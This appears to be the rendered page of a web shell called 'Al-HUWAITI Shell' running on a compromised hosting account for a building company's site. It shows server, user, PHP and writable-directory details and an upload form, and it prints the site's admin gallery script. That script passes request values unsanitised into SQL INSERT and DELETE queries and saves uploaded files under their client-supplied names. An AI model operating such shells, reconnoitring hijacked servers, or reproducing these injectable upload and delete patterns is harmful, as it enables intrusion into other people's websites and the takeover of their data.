Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u141265441/domains/uniquebuildwell.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u141265441/domains/uniquebuildwell.com/public_html/admin/index.php
<?php
$index = 'active-menu';
include("header.php");
include("db.php");
@session_start();
if (@$_REQUEST['btn_photo']) {

    $project_id = $_REQUEST['project_id'];
    move_uploaded_file($_FILES['upload_photo']['tmp_name'], '../assets/imgs/gallery/' . $_FILES['upload_photo']['name']);
    $photo = 'gallery/' . $_FILES['upload_photo']['name'];

    $sql = "INSERT INTO gallery (image,pid) VALUES
('$photo','$project_id')";

    if (!mysqli_query($con, $sql)) {
        die('Error: ' . mysqli_error($con));
    } else {
        $_SESSION['msg'] = "Message Sucessefully uploaded.";
    }
    echo '<script>window.location="index.php";</script>';
}

if (@$_REQUEST['did']) {
    $val = $_REQUEST['did'];
    mysqli_query($con, "delete from gallery where gid='$val'");
    echo '<script>window.location="index.php";</script>';
}
?>
<div id="page-wrapper" style="margin: 0px">
    <div id="page-inner">
        <div class="row">
            <div class="col-md-3">
                <h2>Gallery</h2>   
            </div>
            <div class="col-md-6">
                <form style="padding-top:10px" enctype="multipart/form-data" method="post">            
            <table width="100%" align="center" style="border:2px solid #34495E;">
                <tr style="height:50px">
                    <td>
                        <select class="form-control" name="project_id" >
                            <option value="0" selected>Select Project</option>
                            <?php
                            $i = 1;
                            $select_project5 = mysqli_query($con, "SELECT * FROM `project` ORDER BY project_name DESC");
                            while ($get_project5 = mysqli_fetch_array($select_project5)) {
                                ?>
                                <option value="<?php echo $get_project5['pid']; ?>"><?php echo $get_project5['project_name']; ?></option>
                                <?php
                            }
                            ?>
                        </select>
                    </td>
                    <td>&nbsp;</td>
                    <td><input type="file" style="height:25px" required="" name="upload_photo" placeholder="Upload Image" /></td>
                    <td><input  type="submit" class="btn btn-danger square-btn-adjust" name="btn_photo" value="Upload"/></td>
                </tr>
            </table>
        </form>   
            </div>
        </div>
        <hr />
        
        <div style="height:500px; overflow:auto; border:1px solid #999; width:100%; margin-top:50px;">
            <?php
            $select = "select g.*,p.project_name as pname from gallery as g LEFT JOIN project as p ON p.pid=g.pid order by g.gid desc";
            $row = mysqli_query($con, $select);
            while ($r = mysqli_fetch_array($row)) {
                ?>

                <div style="float:left; margin-left:15px; width:235px; height:200px; margin-top:15px; border:1px solid #E8E8E8">                    
                    <img src="../assets/imgs/<?php echo $r['image'] ?>" height="200px" width="235px"  style=" float:left;">
                    <a  href="?did=<?php echo $r['gid']; ?>&path=<?php echo $r['image'] ?>" onclick="return confirm('Are you sure delete the Image ?')"><img src="images/delete.png" height="30px" width="30px" style=" float:right; margin-top:-40px" >
                    </a>
					<b><?php echo $r['pname'] ?></b>

                </div>	

            <?php } ?>

        </div>
    </div>
</div>

Al-HUWAITI Shell